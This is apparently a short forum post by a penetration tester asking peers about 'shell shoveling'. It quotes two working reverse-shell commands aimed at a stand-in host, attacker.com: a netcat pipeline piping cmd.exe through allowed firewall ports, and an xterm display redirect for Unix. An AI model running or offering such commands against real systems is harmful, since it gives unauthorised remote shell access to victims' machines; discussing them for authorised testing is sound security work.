Have you guys ever heard of shell shoveling? In playing with NetCat
and reading an infoworld article, I came across a couple of concepts
that I found fascinating.  Below are the explanations and command
lines:

"If the attacker machine is listening with netcat on TCP 80 and 25,
and TCP 80 is allowed inbound and 25 outbound to/from the victim
through the firewall, then this command "shovels" a remote command
shell from victim to attacker.com."

nc attacker.com 80 | cmd.exe | nc attacker.com 25

"If Xterm (TCP 6000) is allowed outbound without restriction, then
the following command would be a nifty Unix equivalent to the above
example:"

xterm -display attacker.com:0.0 &

I am planning on using this in an upcomint p.t. and wanted to gain
your insights!  Thanks!
